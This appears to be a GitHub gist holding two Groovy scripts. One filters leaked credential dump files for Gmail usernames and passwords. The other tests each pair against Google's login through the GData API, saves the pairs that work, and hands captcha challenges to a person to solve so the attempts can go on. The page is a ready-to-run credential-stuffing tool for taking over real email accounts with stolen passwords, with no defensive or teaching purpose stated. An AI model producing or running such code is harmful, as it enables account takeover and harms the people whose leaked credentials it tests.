Created
          June 16, 2011 15:01 
        
      - 
      
- 
        Save lucastex/1029427 to your computer and use it in GitHub Desktop. 
    find gmail addresses in the list
  
        
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | import com.google.gdata.client.GoogleService | |
| new File("correct.txt").delete() | |
| def correctCreds = new File("correct.txt") | |
| def credentials = new File("gmail.txt") | |
| credentials.eachLine { line -> | |
| def parts = line.split("[|]") | |
| def username = parts[0].trim() | |
| def password = parts[1].trim() | |
| try { | |
| print "testing credentials for ${username}/${password}" | |
| def google = new GoogleService("mail", "test") | |
| google.setUserCredentials(username, password) | |
| correctCreds << "${username} | ${password}\n" | |
| println " - Authorized" | |
| } catch (GoogleService.CaptchaRequiredException captcha) { | |
| print "\ncaptcha: " | |
| "open ${captcha.getCaptchaUrl()}".execute() | |
| def captchaAnswer = System.console().readLine() | |
| try { | |
| def google = new GoogleService("mail", "test") | |
| google.setUserCredentials(username, password, captcha.getCaptchaToken(), captchaAnswer) | |
| } catch (Exception exp) { | |
| println "Error - ${exp.message}" | |
| } | |
| } catch (Exception exp) { | |
| println " - Not authorized - ${exp.message}" | |
| } | |
| } | |
| println "done!" | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | def files = [ | |
| "id-pass-username.txt": { line -> | |
| if (line) { | |
| def parts = line?.split("[|]") | |
| if (parts.size() >= 3) { | |
| def username = parts[2]?.trim() | |
| def password = parts[1]?.trim() | |
| if (username && password) { return [username, password] } | |
| return [null, null] | |
| } | |
| return [null, null] | |
| } | |
| return [null, null] | |
| }, | |
| "pass-username.txt": { line -> | |
| if (line) { | |
| def parts = line?.split("[|]") | |
| if (parts.size() >= 2) { | |
| def username = parts[1]?.trim() | |
| def password = parts[0]?.trim() | |
| if (username && password) { return [username, password] } | |
| return [null, null] | |
| } | |
| return [null, null] | |
| } | |
| return [null, null] | |
| }, | |
| "username-pass.txt": { line -> | |
| if (line) { | |
| def parts = line?.split("[|]") | |
| if (parts.size() >= 2) { | |
| def username = parts[0]?.trim() | |
| def password = parts[1]?.trim() | |
| if (username && password) { return [username, password] } | |
| return [null, null] | |
| } | |
| return [null, null] | |
| } | |
| return [null, null] | |
| } | |
| ] | |
| def gmailFile = new File("gmail.txt") | |
| files.each { fileName, splitter -> | |
| def f = new File(fileName) | |
| f.eachLine { line -> | |
| def (username, password) = splitter(line) | |
| if (username?.indexOf("@gmail.com") > -1) { | |
| gmailFile << "${username} | ${password}\n" | |
| } | |
| } | |
| } | |
| println "done!" | 
  
    Sign up for free
    to join this conversation on GitHub.
    Already have an account?
    Sign in to comment
  
            
j***[email protected]